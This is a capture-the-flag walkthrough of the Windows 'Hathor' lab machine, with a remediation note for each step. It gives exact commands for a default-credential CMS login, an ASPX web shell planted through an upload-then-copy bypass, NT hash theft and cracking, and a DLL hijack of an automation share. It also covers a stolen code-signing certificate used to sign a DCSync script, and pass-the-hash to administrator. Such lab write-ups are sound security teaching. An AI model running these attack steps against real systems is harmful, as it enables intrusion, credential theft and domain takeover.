← all walkthroughs

Hathor

Windows· Insane· Web
owned
2026-10-17
time to own
28m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Hathor is an Active Directory domain controller (WINDCORP.HTB) running an IIS site built on mojoPortal. The CMS still had the default admin@admin.com / admin login, which unlocked its File Manager. I uploaded a .txt file and used the manager's copy action to duplicate it to an .aspx name in a web-served folder, turning it into a command web shell running as windcorp\web.

From there a Get-bADpasswords audit export left on disk gave the NT hash of domain user BeatriceMill, which cracked to a weak password; a Kerberos ticket confirmed it in the domain. BeatriceMill could write to a 'share' used by an AutoIt automation that ran as windcorp\ginawild, so overwriting the 7-Zip helper DLL the automation loads ran my code as ginawild, which captured the user flag and copied an Administrator code-signing certificate (a .pfx in the Recycle Bin) out to the share. Ginawild belonged to ITDep, which could modify the scheduled Get-bADpasswords.ps1; I replaced that script with a malicious version signed by the stolen Administrator certificate, so it passed signature enforcement and, running as bpassrunner, performed a DCSync-style replication that dumped the Administrator NT hash.

Pass-the-hash to a Kerberos ticket and Evil-WinRM gave Administrator and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for admin>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets — <run> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork and service discovery (T1046, T1595)
Mapped an Active Directory domain controller hosting a mojoPortal site
A full port scan showed a Windows domain controller: DNS, Kerberos, LDAP/LDAPS, global catalog, SMB and WinRM, plus IIS 10.0 on port 80. The bare IP served a generic page; the virtual host hathor.windcorp.htb returned a mojoPortal CMS, with a login page at /Secure/Login.aspx.
Open 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389; Server: Microsoft-IIS/10.0, X-AspNet-Version 4.0.30319; <title>Login - mojoPortal</title>.
Exact commands 4
shell

All open TCP ports.

$ nmap -p- --min-rate=1000 $TARGET
shell

Service and version detail; a DC footprint plus IIS.

$ nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 $TARGET
shell

Resolve the vhost and domain locally.

$ echo "$TARGET hathor.windcorp.htb windcorp.htb" | sudo tee -a /etc/hosts
shell

The mojoPortal login page answers on the vhost.

$ curl -sS -i --max-time 15 -H 'Host: hathor.windcorp.htb' http://$TARGET/Secure/Login.aspx
FixChange default CMS credentials and keep the admin area off the public siteHigh
WeaknessmojoPortal still used the default admin@admin.com / admin administrator login, which exposed the authenticated File Manager to anyone.
FixRemove or re-password all default CMS accounts on install, require strong unique credentials and MFA for the admin area, and restrict /Secure and admin functions to trusted networks.
2Initial AccessDefault credentials (T1078.001)
Logged into mojoPortal with its default administrator credentials
MojoPortal kept its stock administrator account admin@admin.com with the password admin. The login form carries several __VIEWSTATE hidden fields, so I fetched the page, copied the hidden fields, added the credentials, and posted them back with the login referer set, which returned a 302 to the site root and an authenticated .mojochangeme cookie.
POST to /Secure/Login.aspx returned 302 Location: http://hathor.windcorp.htb and a session cookie; the admin File Manager became reachable.
Exact commands 1
shell

Replays the ASP.NET form with the default admin credentials ($PASSWORD = admin); 302 to the site root means success.

$ curl -sS --max-time 15 -c cookies.txt -H 'Host: hathor.windcorp.htb' http://$TARGET/Secure/Login.aspx -o login.html && python3 -c "from bs4 import BeautifulSoup; import urllib.parse; s=BeautifulSoup(open('login.html'),'html.parser'); d={x.get('name'):x.get('value','') for x in s.select('input[type=hidden][name]')}; un=s.find('input',id=lambda x:x and x.endswith('_UserName'))['name']; pw=s.find('input',id=lambda x:x and x.endswith('_Password'))['name']; sb=s.find('input',id=lambda x:x and x.endswith('_Login'))['name']; d[un]='admin@admin.com'; d[pw]='$PASSWORD'; d[sb]='Login'; open('form','w').write(urllib.parse.urlencode(d))" && curl -sS -i --max-time 20 -b cookies.txt -c cookies.txt -H 'Host: hathor.windcorp.htb' -H 'Content-Type: application/x-www-form-urlencoded' -e http://hathor.windcorp.htb/Secure/Login.aspx --data-binary @form http://$TARGET/Secure/Login.aspx
3ExecutionFile copy extension-filter bypass to web shell (T1505.003, T1190)
Turned the File Manager into an ASPX web shell with an upload-then-copy
The File Manager's angular config exposed a fileSystemToken and a JSON backend at /fileservice (upload at /fileservice/fileupload). The upload filter allowed .txt, so I uploaded an ASPX command-runner saved with a .txt name, then called the manager's 'copy' action to duplicate it to hathor_cmd.aspx in the same media folder. IIS executes .aspx there, so requesting the file with a 'c' parameter ran commands as the IIS identity windcorp\web.
Upload and copy both returned {"success":true}; GET hathor_cmd.aspx?c=whoami returned windcorp\web (S-1-5-21-...-22101). The payload file was a C# ASPX that runs Request["c"] via cmd.exe /c.
Exact commands 4
shell

Recover the fileSystemToken and the /fileservice endpoints.

$ curl -sS --max-time 20 -b cookies.txt -H 'Host: hathor.windcorp.htb' http://$TARGET/filemanager | grep -Ei 'fileSystemToken|uploadUrl|copyUrl'
shell

Upload the ASPX runner under a .txt name. hathor_cmd.txt is: <%@ Page Language="C#" %> ... Process cmd.exe /c Request["c"], output HtmlEncoded in <pre>.

$ curl -sS -i -b cookies.txt -H 'Host: hathor.windcorp.htb' -H 'X-Requested-With: XMLHttpRequest' -F 'destination=/logos' -F 'file-0=@hathor_cmd.txt;filename=hathor_cmd.txt' "http://$TARGET/fileservice/fileupload?t=<fileSystemToken>"
shell

Copy it to an executable .aspx name.

$ curl -sS -i -b cookies.txt -H 'Host: hathor.windcorp.htb' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: application/json' --data-binary '{"action":"copy","items":["/logos/hathor_cmd.txt"],"newPath":"/logos","singleFilename":"hathor_cmd.aspx"}' "http://$TARGET/fileservice?t=<fileSystemToken>"
shell

Confirms command execution as windcorp\web.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=whoami & whoami /all' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
windcorp\web
FixPrevent execution of files written through the File ManagerCritical
WeaknessThe File Manager allowed a .txt upload to be copied to an .aspx name inside a web-served folder, and IIS executed it, turning a file-copy feature into remote code execution.
FixDisable PHP/ASPX execution in upload and media directories (handlers off, or move them outside the application root), enforce an allowlist on both upload and copy/rename so executable extensions can never be produced, and run the site under a low-privilege identity.
4Credential AccessCredentials in files (T1552.001)
Read a password-audit export that leaked a domain NT hash
The web shell found C:\Get-bADpasswords, a deployment of the Get-bADpasswords auditing tool, with CSV output under Accessible\CSVs readable by windcorp\web. The exports flagged domain user BeatriceMill as active and weak and listed her NT hash.
Exported_windcorp-*.csv rows: active;weak;regular;BeatriceMill;S-1-5-21-...-5992;$HASH;'leaked-passwords-v7'.
Exact commands 2
shell

Enumerate the audit tool's files.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=dir C:\Get-bADpasswords /s /b' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
shell

Pull BeatriceMill's row and NT hash ($HASH) from the CSVs.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=findstr /spin /c:"Beatrice" C:\Get-bADpasswords\Accessible\*' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
FixProtect password-audit outputHigh
WeaknessGet-bADpasswords exports containing live NT hashes sat in a directory readable by the web service account.
FixStore audit output in a restricted location readable only by the auditing identity, encrypt it at rest, purge it after review, and never leave hashes on an internet-facing host.
5Credential AccessOffline password cracking and Kerberos pre-auth (T1110.002, T1558)
Cracked the NT hash and proved it in the domain
The NT hash cracked instantly against rockyou with John. Requesting a Kerberos TGT confirmed the account is live; the first attempt failed with KRB_AP_ERR_SKEW, so the request was repeated under faketime -7h to match the DC's clock, producing a usable ticket.
John cracked $HASH to the plaintext $PASSWORD (BeatriceMill); impacket-getTGT saved BeatriceMill.ccache after the -7h skew fix.
Exact commands 3
shell

Recovers BeatriceMill's password ($PASSWORD).

$ echo "BeatriceMill:$HASH" > hash.txt && john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
shell

Clock-skew offset matched to the DC; saves BeatriceMill.ccache.

$ faketime -f '-7h' impacket-getTGT "WINDCORP.HTB/BeatriceMill:$PASSWORD" -dc-ip $TARGET
shell

Kerberos auth to SMB lists shares, including the non-default 'share'.

$ printf 'shares\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htb
FixEnforce strong domain passwordsMedium
WeaknessBeatriceMill's password was in a public leaked-password list and cracked instantly, and the account was reusable across SMB and Kerberos.
FixBlock known-breached and dictionary passwords (the audit tool already flags them), raise minimum length and complexity, and monitor for reuse of flagged accounts.
6Privilege EscalationHijack execution flow via a writable DLL loaded by a privileged process (T1574)
Overwrote a DLL loaded by a privileged AutoIt automation
The 'share' held AutoIt3_x64.exe, Bginfo64.exe and a world-writable scripts folder with 7Zip.au3 and its companion 7-zip64.dll (the 7-Zip UDF's native helper). An AutoIt3_x64.exe process ran in interactive Session 1 under a more privileged account. I compiled a malicious 7-zip64.dll whose DllMain, on load, wrote proof of identity, copied ginawild's user flag to C:\Windows\Temp, and copied an Administrator .pfx out of the Recycle Bin to C:\share. Overwriting the file first returned STATUS_SHARING_VIOLATION because the automation held it open; the write succeeded on a retry when the lock cleared (the DLL size dropped from ~1 MB to ~13 KB), and on the next run the automation loaded it as windcorp\ginawild.
Share\scripts listed 7-zip64.dll world-writable; after the overwrite its size was 12800 bytes; C:\Windows\Temp\gina_proof.txt showed windcorp\ginawild (S-1-5-21-...-2663); gina_user.txt held <user.txt>; cert.pfx (4053 bytes) appeared in share.
Exact commands 5
shell

Shows the world-writable AutoIt scripts and 7-zip64.dll.

$ printf 'use share\ncd scripts\nls\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htb
shell

gina_stage1.c DllMain runs: whoami into gina_proof.txt, copy ginawild's user.txt to gina_user.txt, and copy any Recycle Bin *.pfx to C:\share\cert.pfx with Everyone:F.

$ x86_64-w64-mingw32-gcc -shared -s -o 7-zip64.dll gina_stage1.c
shell

First attempt gives STATUS_SHARING_VIOLATION; repeat until the automation releases the file and the small DLL lands.

$ printf 'use share\ncd scripts\nput 7-zip64.dll\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htb
shell

Confirms execution as windcorp\ginawild.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\gina_proof.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
shell

The user flag (<user.txt>).

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\gina_user.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
FixLock down the automation share and the libraries it loadsCritical
WeaknessAn AutoIt automation running in a privileged session loaded a helper DLL from a world-writable share, so a low-privileged user could replace the DLL and run code in that session.
FixMake the scripts and binaries read-only to the account that runs the automation (no write for ordinary users), load libraries from protected system paths, and run scheduled automations as a dedicated least-privilege account, not an interactive one.
7Credential AccessPrivate key theft and cracking (T1552.004)
Recovered an Administrator code-signing certificate from the .pfx
The .pfx dropped into the share was downloaded and cracked. Its password cracked with John, and the certificate inside was issued to CN=Administrator with the Code Signing extended key usage, giving me the ability to sign code as the Administrator identity.
Pfx2john + john recovered the pfx password ($PASSWORD); openssl showed subject CN=Administrator, issuer windcorp-HATHOR-CA-1, X509v3 Extended Key Usage: Code Signing.
Exact commands 3
shell

Retrieve the certificate.

$ printf 'use share\nget cert.pfx\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htb
shell

Recovers the pfx password ($PASSWORD).

$ pfx2john cert.pfx > cert.hash && john --wordlist=/usr/share/wordlists/rockyou.txt cert.hash
shell

Confirms a CN=Administrator Code Signing certificate.

$ openssl pkcs12 -in cert.pfx -passin pass:$PASSWORD -clcerts -nokeys -out cert.pem && openssl x509 -in cert.pem -noout -subject -issuer -ext extendedKeyUsage
FixDo not leave private keys and certificates recoverable on diskHigh
WeaknessA password-protected .pfx holding an Administrator code-signing certificate was recoverable from the Recycle Bin, and its password was weak.
FixKeep signing certificates in a hardware/key vault, never export private keys to disk, securely wipe deleted key material, and use strong export passwords.
8Privilege EscalationCode signing abuse and DCSync via directory replication (T1553.002, T1003.006)
Replaced the scheduled audit script with a signed DCSync payload
Get-bADpasswords.ps1 was writable by WINDCORP\ITDep (ginawild's group) and was launched on a schedule as windcorp\bpassrunner via run.vbs. I delivered a second malicious 7-zip64.dll that, as ginawild, decoded a replacement Get-bADpasswords.ps1 which calls Get-ADReplAccount for the Administrator account (a DCSync-style directory replication), imported the stolen Administrator .pfx and used it to Authenticode-sign the new script so it would pass the environment's signature check, then triggered run.vbs. Running as bpassrunner, the signed script replicated the Administrator secrets to a transcript.
C:\Windows\Temp\transcript.txt (Username WINDCORP\bpassrunner) printed Administrator Secrets NTHash: $HASH.
Exact commands 4
shell

Shows WINDCORP\ITDep has Modify on the scheduled script.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=icacls C:\Get-bADpasswords\Get-bADpasswords.ps1' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
shell

gina_stage2.c DllMain: certutil-decode a malicious Get-bADpasswords.ps1 (Start-Transcript + Get-ADReplAccount -SamAccountName administrator), Import-PfxCertificate cert.pfx, Set-AuthenticodeSignature with the Administrator cert, then cscript run.vbs.

$ x86_64-w64-mingw32-gcc -shared -s -o 7-zip64.dll gina_stage2.c
shell

Replace the helper DLL again so ginawild runs the stage-2 payload.

$ printf 'use share\ncd scripts\nput 7-zip64.dll\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htb
shell

Reads the DCSync transcript; Administrator Secrets NTHash is $HASH.

$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\transcript.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
FixProtect scheduled scripts and restrict code-signing trustCritical
WeaknessA scheduled script run as a service account was writable by a non-admin group, and script-signing enforcement trusted a certificate whose private key had leaked, so an unauthorised user could substitute a signed malicious script.
FixMake scheduled scripts writable only by administrators, store them outside user-writable shares, revoke the exposed signing certificate, and scope code-signing trust to keys held in protected stores.
9Privilege EscalationPass-the-hash to Kerberos (T1550.002)
Passed the Administrator hash to a Kerberos ticket and read the root flag
With the Administrator NT hash, I requested a Kerberos TGT by hash, wrote a krb5.conf pointing at the DC, and opened an Evil-WinRM session over Kerberos as windcorp\administrator to read the root flag.
GetTGT saved Administrator.ccache; Evil-WinRM whoami returned windcorp\administrator.
Exact commands 2
shell

Saves Administrator.ccache.

$ faketime -f '-7h' impacket-getTGT 'WINDCORP.HTB/Administrator' -hashes ":$HASH" -dc-ip $TARGET
shell

krb5.conf sets default_realm WINDCORP.HTB with kdc hathor.windcorp.htb; the session runs as windcorp\administrator and prints <root.txt>.

$ printf 'Get-Content C:\\Users\\Administrator\\Desktop\\root.txt\nexit\n' | env KRB5_CONFIG=krb5.conf KRB5CCNAME=Administrator.ccache faketime -f '-7h' evil-winrm -i hathor.windcorp.htb -r WINDCORP.HTB
FixRestrict directory replication and protect privileged accountsCritical
WeaknessA compromised service context could perform directory replication (DCSync) to dump the Administrator NT hash, which was then reused via pass-the-hash.
FixGrant the DS-Replication-Get-Changes rights only to domain controllers, add privileged accounts to Protected Users, enforce AES-only Kerberos, and alert on replication requests from non-DC hosts.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49664/tcp
49668/tcp
58380/tcp
59942/tcp
59968/tcp
53/udp